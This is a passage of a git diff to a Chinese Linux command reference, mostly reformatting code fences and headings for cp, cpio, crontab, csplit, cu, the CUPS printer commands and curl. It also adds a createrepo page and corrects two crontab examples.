使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件。在命令行中输入下面的命令:
-```
+```shell
convertquota -u /data //转换文件系统"/data"上的用户磁盘配额文件
```
-
\ No newline at end of file
diff --git a/command/cp.md b/command/cp.md
index 487d03d160d..6cb3a39efd5 100644
--- a/command/cp.md
+++ b/command/cp.md
@@ -7,15 +7,15 @@ cp
**cp命令** 用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现错误。
-### 语法
+### 语法
-```
+```shell
cp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:此参数的效果和同时指定"-dpR"参数相同;
-d:当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录;
-f:强行复制文件或目录,不论目标文件或目录是否已存在;
@@ -30,24 +30,24 @@ cp(选项)(参数)
-v:详细显示命令执行的操作。
```
-### 参数
+### 参数
* 源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用`-R`选项;
* 目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。
-### 实例
+### 实例
下面的第一行中是 cp 命令和具体的参数(-r 是“递归”, -u 是“更新”,-v 是“详细”)。接下来的三行显示被复制文件的信息,最后一行显示命令行提示符。这样,只拷贝新的文件到我的存储设备上,我就使用 cp 的“更新”和“详细”选项。
通常来说,参数 `-r` 也可用更详细的风格 `--recursive`。但是以简短的方式,也可以这么连用 `-ruv`。
-```
+```shell
cp -r -u -v /usr/men/tmp ~/men/tmp
```
版本备份 `--backup=numbered` 参数意思为“我要做个备份,而且是带编号的连续备份”。所以一个备份就是 1 号,第二个就是 2 号,等等。
-```bash
+```shell
$ cp --force --backup=numbered test1.py test1.py
$ ls
test1.py test1.py.~1~ test1.py.~2~
@@ -55,7 +55,7 @@ test1.py test1.py.~1~ test1.py.~2~
如果把一个文件复制到一个目标文件中,而目标文件已经存在,那么,该目标文件的内容将被破坏。此命令中所有参数既可以是绝对路径名,也可以是相对路径名。通常会用到点`.`或点点`..`的形式。例如,下面的命令将指定文件复制到当前目录下:
-```
+```shell
cp ../mary/homework/assign .
```
@@ -63,25 +63,25 @@ cp ../mary/homework/assign .
将文件file复制到目录`/usr/men/tmp`下,并改名为file1
-```
+```shell
cp file /usr/men/tmp/file1
```
将目录`/usr/men`下的所有文件及其子目录复制到目录`/usr/zh`中
-```
+```shell
cp -r /usr/men /usr/zh
```
交互式地将目录`/usr/men`中的以m打头的所有.c文件复制到目录`/usr/zh`中
-```
+```shell
cp -i /usr/men m*.c /usr/zh
```
我们在Linux下使用cp命令复制文件时候,有时候会需要覆盖一些同名文件,覆盖文件的时候都会有提示:需要不停的按Y来确定执行覆盖。文件数量不多还好,但是要是几百个估计按Y都要吐血了,于是折腾来半天总结了一个方法:
-```bash
+```shell
cp aaa/* /bbb
# 复制目录aaa下所有到/bbb目录下,这时如果/bbb目录下有和aaa同名的文件,需要按Y来确认并且会略过aaa目录下的子目录。
@@ -97,14 +97,14 @@ cp -r -a aaa/* /bbb
递归强制复制目录到指定目录中覆盖已存在文件
-```bash
+```shell
cp -rfb ./* ../backup
# 将当前目录下所有文件,复制到当前目录的兄弟目录 backup 文件夹中
```
拷贝目录下的隐藏文件如 `.babelrc`
-```bash
+```shell
cp -r aaa/.* ./bbb
# 将 aaa 目录下的,所有`.`开头的文件,复制到 bbb 目录中。
@@ -112,5 +112,10 @@ cp -a aaa ./bbb/
# 记住后面目录最好的'/' 带上 `-a` 参数
```
+复制到当前目录
+
+```shell
+cp aaa.conf ./
+# 将 aaa.conf 复制到当前目录
+```
-
diff --git a/command/cpio.md b/command/cpio.md
index 58110f085de..c3acd0a3c96 100644
--- a/command/cpio.md
+++ b/command/cpio.md
@@ -1,21 +1,21 @@
cpio
===
-
+
用来建立、还原备份档的工具程序
## 补充说明
**cpio命令** 主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。
-### 语法
+### 语法
-```
+```shell
cpio(选项)
```
-### 选项
+### 选项
-```
+```shell
-0或--null:接受新增列控制字符,通常配合find指令的“-print0”参数使用;
-a或--rest-access-time:重新设置文件的存取时间;
-A或--append:附加到已存在的备份文档中,且这个备份文档必须存放在磁盘上,而不能放置于磁带机里;
@@ -58,33 +58,33 @@ cpio(选项)
--version:显示版本信息。
```
-### 实例
+### 实例
- **将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`,使用以下命令:**
+**将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`,使用以下命令:**
-```
+```shell
find /etc –type f | cpio –ocvB >/opt/etc.cpio
```
- **将系统上所有资料备份到磁带机内,使用以下命令:**
+**将系统上所有资料备份到磁带机内,使用以下命令:**
-```
+```shell
find / -print | cpio -covB > /dev/st0
```
这里的`/dev/st0`是磁带的设备名,代表SCSI磁带机。
- **查看上例磁带机上备份的文件,使用以下命令:**
+**查看上例磁带机上备份的文件,使用以下命令:**
-```
+```shell
cpio -icdvt < /dev/st0 > /tmp/st_content
```
有时可能因为备份的文件过多,一个屏幕无法显示完毕,此时我们利用下面命令,让磁带机的文件信息输出到文件。
- **将示例1中的备份包还原到相应的位置,如果有相同文件进行覆盖,使用以下命令:**
+**将示例1中的备份包还原到相应的位置,如果有相同文件进行覆盖,使用以下命令:**
-```
+```shell
cpio –icduv < /opt/etc.cpio
```
@@ -93,4 +93,3 @@ cpio –icduv < /opt/etc.cpio
通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。
-
\ No newline at end of file
diff --git a/command/createrepo.md b/command/createrepo.md
new file mode 100644
index 00000000000..979bf0cdccf
--- /dev/null
+++ b/command/createrepo.md
@@ -0,0 +1,147 @@
+createrepo
+===
+
+创建YUM仓库
+
+## 概要
+
+```shell
+createrepo [选项] <目录>
+```
+
+## 描述
+
+`createrepo`是一个程序,它从一组RPM创建一个RPM元数据存储库,即YUM仓库。
+
+## 选项
+
+```shell
+-u --baseurl
+# 指定Base URL的地址
+
+-o --outputdir
+# 指定元数据的输出位置
+
+-x --excludes
+# 指定在形成元数据时需要排除的包
+
+-i --pkglist
+# 指定一个文件,该文件内的包信息将被包含在即将生成的元数据中,格式为每个包信息独占一行,不含通配符、正则,以及范围表达式。
+
+-n --includepkg
+# 通过命令行指定要纳入本地库中的包信息,需要提供URL或本地路径。
+
+-q --quiet
+# 安静模式执行操作,不输出任何信息。
+
+-g --groupfile
+# 指定本地软件仓库的组划分,示例:createrepo -g comps.xml /path/to/rpms
+# 注意:组文件需要和rpm包放置于同一路径下。
+
+-v --verbose
+# 输出详细信息。
+
+-c --cachedir
+# 指定一个目录,用作存放软件仓库中软件包的校验和信息。
+# 当createrepo在未发生明显改变的相同仓库文件上持续多次运行时,指定cachedir会明显提高其性能。
+
+--basedir
+# Basedir为repodata中目录的路径,默认为当前工作目录。
+
+--update
+# 如果元数据已经存在,且软件仓库中只有部分软件发生了改变或增减,
+# 则可用update参数直接对原有元数据进行升级,效率比重新分析rpm包依赖并生成新的元数据要高很多。
+
+--skip-stat
+# 跳过--update上的stat()调用,假设如果文件名相同,则文件仍然相同(仅在您相当信任或容易受骗时使用此方法)。
+
+--update-md-path
+# 从这个路径使用现有的repodata来升级。
+
+-C --checkts
+# 不要生成回购元数据,如果它们的时间戳比rpm更新。如果您碰巧开启了该选项,则此选项将再次大幅减少处理时间一个未修改的回购,但它(目前)与——split选项互斥。注意:当包从repo中删除时,这个命令不会注意到。使用——update来处理这个。
+
+--split
+# 在拆分媒体模式下运行。与其传递单个目录,不如获取一组对应于媒体集中不同卷的目录。
+
+-p --pretty
+# 以整洁的格式输出xml文件。
+
+--version
+# 输出版本。
+
+-h --help
+# 显示帮助菜单。
+
+-d --database
+# 该选项指定使用SQLite来存储生成的元数据,默认项。
+
+--no-database
+# 不要在存储库中生成sqlite数据库。
+
+-S --skip-symlinks
+# 忽略包的符号链接
+
+-s --checksum
+# 选择repmed .xml中使用的校验和类型以及元数据中的包。默认值现在是“sha256”(如果python有hashlib)。旧的默认值是“sha”,它实际上是“sha1”,但是显式使用“sha1”在旧版本(3.0.x)的yum上不起作用,您需要指定“sha”。
+
+--profile
+# 输出基于时间的分析信息。
+
+--changelog-limit CHANGELOG_LIMIT
+# 只将每个rpm中的最后N个变更日志条目导入元数据
+
+--unique-md-filenames
+# 在元数据文件名中包含文件的校验和,有助于HTTP缓存(默认)
+
+--simple-md-filenames
+# 不要在元数据文件名中包含文件的校验和。
+
+--retain-old-md
+# 保留旧repodata的最新(按时间戳)N个副本(这样使用旧repodata .xml文件的客户端仍然可以访问它)。默认为0。
+
+--distro
+指定发行版标签。可以多次指定。可选语法,指定cpeid(http://cpe.mitre.org/)——distro=cpeid,distrotag
+
+--content
+# 指定关于存储库内容的关键字/标记。可以多次指定。
+
+--repo
+# 指定关于存储库本身的关键字/标签。可以多次指定。
+
+--revision
+# 存储库修订的任意字符串。
+
+--deltas
+# 告诉createrepo生成增量数据和增量元数据
+
+--oldpackagedirs PATH
+# 寻找更老的PKGS来对抗的路径。可以指定多次吗
+
+--num-deltas int
+# 要进行增量处理的旧版本的数量。默认为1
+
+--read-pkgs-list READ_PKGS_LIST
+# 使用——update将路径输出到PKGS实际读起来很有用
+
+--max-delta-rpm-size MAX_DELTA_RPM_SIZE
+# 要运行deltarpm的RPM的最大大小(以字节为单位)
+
+--workers WORKERS
+# 为读取RPMS而生成的工作线程数
+
+--compress-type
+# 指定要使用的压缩方法:compat(默认),xz(可能不可用),gz, bz2。
+
+```
+
+## 返回值
+
+返回状态为成功除非给出了非法选项或非法参数。
+
+## 例子
+
+```shell
+# 生成带有groups文件的存储库。注意groups文件应该和rpm包在同一个目录下(即/path/to/rpms/comps.xml)。
+createrepo -g comps.xml /path/to/rpms
+```
diff --git a/command/crontab.md b/command/crontab.md
index 47c66a43a43..f691ff50ccd 100644
--- a/command/crontab.md
+++ b/command/crontab.md
@@ -1,32 +1,32 @@
crontab
===
-
+
提交和管理用户的需要周期性执行的任务
## 补充说明
**crontab命令** 被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
-### 语法
+### 语法
-```
+```shell
crontab(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-e:编辑该用户的计时器设置;
-l:列出该用户的计时器设置;
-r:删除该用户的计时器设置;
-u<用户名称>:指定要设定计时器的用户名称。
```
-### 参数
+### 参数
crontab文件:指定包含待执行任务的crontab文件。
-### 知识扩展
+### 知识扩展
Linux下的任务调度分为两类: **系统任务调度** 和 **用户任务调度** 。
@@ -34,7 +34,7 @@ Linux下的任务调度分为两类: **系统任务调度** 和 **用户任务
`/etc/crontab`文件包括下面几行:
-```
+```shell
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""HOME=/
@@ -50,7 +50,7 @@ MAILTO=""HOME=/
**用户任务调度:** 用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的crontab文件都被保存在`/var/spool/cron`目录中。其文件名与用户名一致,使用者权限文件如下:
-```
+```shell
/etc/cron.deny 该文件中所列用户不允许使用crontab命令
/etc/cron.allow 该文件中所列用户允许使用crontab命令
/var/spool/cron/ 所有用户crontab文件存放的目录,以用户名命名
@@ -58,7 +58,7 @@ MAILTO=""HOME=/
crontab文件的含义:用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
-```
+```shell
minute hour day month week command 顺序:分 时 日 月 周
```
@@ -78,130 +78,129 @@ minute hour day month week command 顺序:分 时 日 月 周
* 中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
* 正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
- **crond服务**
+**crond服务**
-```
-/sbin/service crond start //启动服务
-/sbin/service crond stop //关闭服务
-/sbin/service crond restart //重启服务
-/sbin/service crond reload //重新载入配置
+```shell
+/sbin/service crond start # 启动服务
+/sbin/service crond stop # 关闭服务
+/sbin/service crond restart # 重启服务
+/sbin/service crond reload # 重新载入配置
```
查看crontab服务状态:
-```
+```shell
service crond status
```
手动启动crontab服务:
-```
+```shell
service crond start
```
查看crontab服务是否已设置为开机启动,执行命令:
-```
+```shell
ntsysv
```
加入开机自动启动:
-```
+```shell
chkconfig –level 35 crond on
```
-### 实例
+### 实例
每1分钟执行一次command
-```
+```shell
* * * * * command
```
每小时的第3和第15分钟执行
-```
+```shell
3,15 * * * * command
```
在上午8点到11点的第3和第15分钟执行
-```
+```shell
3,15 8-11 * * * command
```
每隔两天的上午8点到11点的第3和第15分钟执行
-```
+```shell
3,15 8-11 */2 * * command
```
每个星期一的上午8点到11点的第3和第15分钟执行
-```
+```shell
3,15 8-11 * * 1 command
```
每晚的21:30重启smb
-```
+```shell
30 21 * * * /etc/init.d/smb restart
```
每月1、10、22日的4 : 45重启smb
-```
+```shell
45 4 1,10,22 * * /etc/init.d/smb restart
```
每周六、周日的1:10重启smb
-```
+```shell
10 1 * * 6,0 /etc/init.d/smb restart
```
每天18 : 00至23 : 00之间每隔30分钟重启smb
-```
+```shell
0,30 18-23 * * * /etc/init.d/smb restart
```
每星期六的晚上11:00 pm重启smb
-```
+```shell
0 23 * * 6 /etc/init.d/smb restart
```
每一小时重启smb
-```
-* */1 * * * /etc/init.d/smb restart
+```shell
+0 */1 * * * /etc/init.d/smb restart
```
晚上11点到早上7点之间,每隔一小时重启smb
-```
-* 23-7/1 * * * /etc/init.d/smb restart
+```shell
+0 23-7/1 * * * /etc/init.d/smb restart
```
每月的4号与每周一到周三的11点重启smb
-```
+```shell
0 11 4 * mon-wed /etc/init.d/smb restart
```
一月一号的4点重启smb
-```
+```shell
0 4 1 jan * /etc/init.d/smb restart
```
每小时执行`/etc/cron.hourly`目录内的脚本
-```
+```shell
01 * * * * root run-parts /etc/cron.hourly
```
-
\ No newline at end of file
diff --git a/command/csplit.md b/command/csplit.md
index 1daf6ab979d..1b0f0c8abe4 100644
--- a/command/csplit.md
+++ b/command/csplit.md
@@ -1,21 +1,21 @@
csplit
===
-
+
将一个大文件分割成小的碎片文件
## 补充说明
**csplit命令** 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件。
-### 语法
+### 语法
-```
+```shell
csplit(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名;
-f<输出字首字符串>或--prefix=<输出字首字符串>:预设的输出字首字符串其文件名为xx00,xx01等,如果制定输出字首字符串为“hello”,则输出的文件名称会变成hello00,hello、01......
-k或--keep-files:保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件;
@@ -24,16 +24,16 @@ csplit(选项)(参数)
-z或--elide-empty-files:删除长度为0 Byte文件。
```
-### 参数
+### 参数
* 文件:指定要分割的原文件;
* 模式:指定要分割文件时的匹配模式。
-### 实例
+### 实例
示例测试文件 server.log
-```
+```shell
cat server.log
SERVER-1
[con] 10.10.10.1 suc
@@ -54,7 +54,7 @@ SERVER-3
需要将server.log分割成server1.log、server2.log、server3.log,这些文件的内容分别取自原文件中不同的SERVER部分:
-```
+```shell
[root@localhost split]# csplit server.log /SERVER/ -n2 -s {*} -f server -b "%02d.log"; rm server00.log
[root@localhost split]# ls
server01.log server02.log server03.log server.log
@@ -62,7 +62,7 @@ server01.log server02.log server03.log server.log
**命令详细说明:**
-```
+```shell
/[正则表达式]/ #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。
{*} #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。
-s #静默模式,不打印其他信息。
@@ -73,4 +73,3 @@ rm server00.log #是删除第一个文件,因为分割后的的第一个文
```
-
\ No newline at end of file
diff --git a/command/cu.md b/command/cu.md
index dc2b551b589..75979699680 100644
--- a/command/cu.md
+++ b/command/cu.md
@@ -1,22 +1,22 @@
cu
===
-用于连接另一个系统主机。
+用于连接另一个系统主机
## 补充说明
**cu命令** 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业。
-### 语法
+### 语法
-```
+```shell
cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>]
[-s<连线速率>][-x<排错模式>][-z<系统主机>][--help][-nostop][--parity=none][<系统主机>/<电话号码>]
```
-### 选项
+### 选项
-```
+```shell
-a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。
-c<电话号码>或--phone<电话号码> 拨打该电话号码。
-d 进入排错模式。
@@ -41,11 +41,11 @@ cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文
与远程主机连接
-```
+```shell
cu -c 0102377765
cu -s 38400 9=12015551234
```
-
+
diff --git a/command/cupsdisable.md b/command/cupsdisable.md
index d08319ca914..92dd678b395 100644
--- a/command/cupsdisable.md
+++ b/command/cupsdisable.md
@@ -1,21 +1,21 @@
cupsdisable
===
-
+
停止指定的打印机
## 补充说明
**cupsdisable命令** 用于停止指定的打印机。
-### 语法
+### 语法
-```
+```shell
cupsdisable(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-u:指定打印任务所属的用户;
@@ -24,9 +24,8 @@ cupsdisable(选项)(参数)
-r:停止打印机的原因。
```
-### 参数
+### 参数
目标:指定目标打印机。
-
\ No newline at end of file
diff --git a/command/cupsenable.md b/command/cupsenable.md
index 2a94aabf1df..2e6aaee0a31 100644
--- a/command/cupsenable.md
+++ b/command/cupsenable.md
@@ -1,30 +1,29 @@
cupsenable
===
-
+
启动指定的打印机
## 补充说明
**cupsenable命令** 用于启动指定的打印机。
-### 语法
+### 语法
-```
+```shell
cupsenable(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-u:指定打印任务所属的用户;
-h:指定连接的服务器名和端口号;
```
-### 参数
+### 参数
目标:指定目标打印机。
-
\ No newline at end of file
diff --git a/command/curl.md b/command/curl.md
index d75974835a6..2215d6af058 100644
--- a/command/curl.md
+++ b/command/curl.md
@@ -5,127 +5,124 @@ curl
## 补充说明
-**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。
+**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以助一臂之力。
### 语法
-```
+```shell
curl(选项)(参数)
```
### 选项
-
-
-
--a/--append 上传文件时,附加到目标文件
--A/--user-agent 设置用户代理发送给服务器
--anyauth 可以使用“任何”身份验证方法
--b/--cookie cookie字符串或文件读取位置
- --basic 使用HTTP基本验证
--B/--use-ascii 使用ASCII /文本传输
--c/--cookie-jar 操作结束后把cookie写入到这个文件中
--C/--continue-at 断点续传
--d/--data HTTP POST方式传送数据
- --data-ascii 以ascii的方式post数据
- --data-binary 以二进制的方式post数据
- --negotiate 使用HTTP身份验证
- --digest 使用数字身份验证
- --disable-eprt 禁止使用EPRT或LPRT
- --disable-epsv 禁止使用EPSV
--D/--dump-header 把header信息写入到该文件中
- --egd-file 为随机数据(SSL)设置EGD socket路径
- --tcp-nodelay 使用TCP_NODELAY选项
--e/--referer 来源网址
--E/--cert 客户端证书文件和密码 (SSL)
- --cert-type 证书文件类型 (DER/PEM/ENG) (SSL)
- --key 私钥文件名 (SSL)
- --key-type 私钥文件类型 (DER/PEM/ENG) (SSL)
- --pass 私钥密码 (SSL)
- --engine 加密引擎使用 (SSL). "--engine list" for list
- --cacert CA证书 (SSL)
- --capath CA目录 (made using c_rehash) to verify peer against (SSL)
- --ciphers
SSL密码
- --compressed 要求返回是压缩的形势 (using deflate or gzip)
- --connect-timeout 设置最大请求时间
- --create-dirs 建立本地目录的目录层次结构
- --crlf 上传是把LF转变成CRLF
--f/--fail 连接失败时不显示http错误
- --ftp-create-dirs 如果远程目录不存在,创建远程目录
- --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用
- --ftp-pasv 使用 PASV/EPSV 代替端口
- --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址
- --ftp-ssl 尝试用 SSL/TLS 来进行ftp数据传输
- --ftp-ssl-reqd 要求用 SSL/TLS 来进行ftp数据传输
--F/--form 模拟http表单提交数据
- --form-string 模拟http表单提交数据
--g/--globoff 禁用网址序列和范围使用{}和[]
--G/--get 以get的方式来发送数据
--H/--header 自定义头信息传递给服务器
- --ignore-content-length 忽略的HTTP头信息的长度
--i/--include 输出时包括protocol头信息
--I/--head 只显示请求头信息
--j/--junk-session-cookies 读取文件进忽略session cookie
- --interface 使用指定网络接口/地址
- --krb4 使用指定安全级别的krb4
--k/--insecure 允许不使用证书到SSL站点
--K/--config 指定的配置文件读取
--l/--list-only 列出ftp目录下的文件名称
- --limit-rate 设置传输速度
- --local-port 强制使用本地端口号
--m/--max-time 设置最大传输时间
- --max-redirs 设置最大读取的目录数
- --max-filesize 设置最大下载的文件总量
--M/--manual 显示全手动
--n/--netrc 从netrc文件中读取用户名和密码
- --netrc-optional 使用 .netrc 或者 URL来覆盖-n
- --ntlm 使用 HTTP NTLM 身份验证
--N/--no-buffer 禁用缓冲输出
--o/--output 把输出写到该文件中
--O/--remote-name 把输出写到该文件中,保留远程文件的文件名
--p/--proxytunnel 使用HTTP代理
- --proxy-anyauth 选择任一代理身份验证方法
- --proxy-basic 在代理上使用基本身份验证
- --proxy-digest 在代理上使用数字身份验证
- --proxy-ntlm 在代理上使用ntlm身份验证
--P/--ftp-port 使用端口地址,而不是使用PASV
--q 作为第一个参数,关闭 .curlrc
--Q/--quote 文件传输前,发送命令到服务器
--r/--range 检索来自HTTP/1.1或FTP服务器字节范围
---range-file 读取(SSL)的随机文件
--R/--remote-time 在本地生成文件时,保留远程文件时间
- --retry 传输出现问题时,重试的次数
- --retry-delay 传输出现问题时,设置重试间隔时间
- --retry-max-time 传输出现问题时,设置最大重试时间
--s/--silent 静默模式。不输出任何东西
--S/--show-error 显示错误
- --socks4 用socks4代理给定主机和端口
- --socks5 用socks5代理给定主机和端口
- --stderr
--t/--telnet-option Telnet选项设置
- --trace 对指定文件进行debug
- --trace-ascii Like --跟踪但没有hex输出
- --trace-time 跟踪/详细输出时,添加时间戳
--T/--upload-file 上传文件
- --url Spet URL to work with
--u/--user 设置服务器的用户和密码
--U/--proxy-user 设置代理用户名和密码
--w/--write-out [format] 什么输出完成后
--x/--proxy 在给定的端口上使用HTTP代理
--X/--request 指定什么命令
--y/--speed-time 放弃限速所要的时间,默认为30
--Y/--speed-limit 停止传输速度的限制,速度时间
-
-
-
+```bash
+-a --append # 上传文件时,附加到目标文件
+-A --user-agent # 设置用户代理发送给服务器
+-anyauth # 可以使用“任何”身份验证方法
+-b --cookie # cookie字符串或文件读取位置
+ --basic # 使用HTTP基本验证
+-B --use-ascii # 使用ASCII /文本传输
+-c --cookie-jar # 操作结束后把cookie写入到这个文件中
+-C --continue-at # 断点续传
+-d --data # HTTP POST方式传送数据
+ --data-ascii # 以ascii的方式post数据
+ --data-binary # 以二进制的方式post数据
+ --negotiate # 使用HTTP身份验证
+ --digest # 使用数字身份验证
+ --disable-eprt # 禁止使用EPRT或LPRT
+ --disable-epsv # 禁止使用EPSV
+-D --dump-header # 把header信息写入到该文件中
+ --egd-file # 为随机数据(SSL)设置EGD socket路径
+ --tcp-nodelay # 使用TCP\_NODELAY选项
+-e --referer # 来源网址
+-E --cert # 客户端证书文件和密码 (SSL)
+ --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL)
+ --key # 私钥文件名 (SSL)
+ --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL)
+ --pass # 私钥密码 (SSL)
+ --engine # 加密引擎使用 (SSL). "--engine list" for list
+ --cacert # CA证书 (SSL)
+ --capath # CA目录 (made using c\_rehash) to verify peer against (SSL)
+ --ciphers # SSL密码
+ --compressed # 要求返回是压缩的形势 (using deflate or gzip)
+ --connect-timeout # 设置最大请求时间
+ --create-dirs # 建立本地目录的目录层次结构
+ --crlf # 上传是把LF转变成CRLF
+-f --fail # 连接失败时不显示http错误
+ --ftp-create-dirs # 如果远程目录不存在,创建远程目录
+ --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用
+ --ftp-pasv # 使用 PASV/EPSV 代替端口
+ --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址
+ --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输
+ --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输
+-F --form # 模拟http表单提交数据
+ --form-string # 模拟http表单提交数据
+-g --globoff # 禁用网址序列和范围使用{}和\[]
+-G --get # 以get的方式来发送数据
+-H --header # 自定义头信息传递给服务器
+ --ignore-content-length # 忽略的HTTP头信息的长度
+-i --include # 输出时包括protocol头信息
+-I --head # 只显示请求头信息
+-j --junk-session-cookies # 读取文件进忽略session cookie
+ --interface # 使用指定网络接口/地址
+ --krb4 # 使用指定安全级别的krb4
+-k --insecure # 允许不使用证书到SSL站点
+-K --config # 指定的配置文件读取
+-l --list-only # 列出ftp目录下的文件名称
+ --limit-rate # 设置传输速度
+ --local-port # 强制使用本地端口号
+-m --max-time # 设置最大传输时间
+ --max-redirs # 设置最大读取的目录数
+ --max-filesize # 设置最大下载的文件总量
+-M --manual # 显示全手动
+-n --netrc # 从netrc文件中读取用户名和密码
+ --netrc-optional # 使用 .netrc 或者 URL来覆盖-n
+ --ntlm # 使用 HTTP NTLM 身份验证
+-N --no-buffer # 禁用缓冲输出
+-o --output # 把输出写到该文件中
+-O --remote-name # 把输出写到该文件中,保留远程文件的文件名
+-p --proxytunnel # 使用HTTP代理
+ --proxy-anyauth # 选择任一代理身份验证方法
+ --proxy-basic # 在代理上使用基本身份验证
+ --proxy-digest # 在代理上使用数字身份验证
+ --proxy-ntlm # 在代理上使用ntlm身份验证
+-P --ftp-port # 使用端口地址,而不是使用PASV
+-q # 作为第一个参数,关闭 .curlrc
+-Q --quote # 文件传输前,发送命令到服务器
+-r --range # 检索来自HTTP/1.1或FTP服务器字节范围
+--range-file # 读取(SSL)的随机文件
+-R --remote-time # 在本地生成文件时,保留远程文件时间
+ --retry # 传输出现问题时,重试的次数
+ --retry-delay # 传输出现问题时,设置重试间隔时间
+ --retry-max-time # 传输出现问题时,设置最大重试时间
+-s --silent # 静默模式。不输出任何东西
+-S --show-error # 显示错误
+ --socks4 # 用socks4代理给定主机和端口
+ --socks5 # 用socks5代理给定主机和端口
+ --stderr #
+-t --telnet-option # Telnet选项设置
+ --trace # 对指定文件进行debug
+ --trace-ascii # Like --跟踪但没有hex输出
+ --trace-time # 跟踪/详细输出时,添加时间戳
+-T --upload-file # 上传文件
+ --url # 要使用的 URL
+-u --user # 设置服务器的用户和密码
+-U --proxy-user # 设置代理用户名和密码
+-w --write-out \[format] # 什么输出完成后
+-x --proxy # 在给定的端口上使用HTTP代理
+-X --request # 指定什么命令
+-y --speed-time # 放弃限速所要的时间,默认为30
+-Y --speed-limit # 停止传输速度的限制,速度时间
+
+```
### 实例
-**文件下载**
+#### **文件下载**
curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用`--silent`选项。
-```
+```shell
curl URL --silent
```
@@ -133,134 +130,379 @@ curl URL --silent
使用选项`-O`将下载的数据写入到文件,必须使用文件的绝对地址:
-```
-curl http://wangchujiang.com/text.iso --silent -O
+```shell
+curl http://example.com/text.iso --silent -O
```
选项`-o`将下载数据写入到指定名称的文件中,并使用`--progress`显示进度条:
-```
-curl http://wangchujiang.com/test.iso -o filename.iso --progress
+```shell
+curl http://example.com/test.iso -o filename.iso --progress
######################################### 100.0%
```
-**断点续传**
+#### **不输出错误和进度信息**
-curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件:
+`-s` 参数将不输出错误和进度信息。
+```shell
+curl -s https://www.example.com
+# 上面命令一旦发生错误,不会显示错误信息。不发生错误的话,会正常显示运行结果。
```
+
+如果想让 curl 不产生任何输出,可以使用下面的命令。
+
+```shell
+curl -s -o /dev/null https://example.com
+```
+
+#### **断点续传**
+
+curl能够从特定的文件偏移处继续下载,它可以通过指定一个偏移量来下载部分文件:
+
+```shell
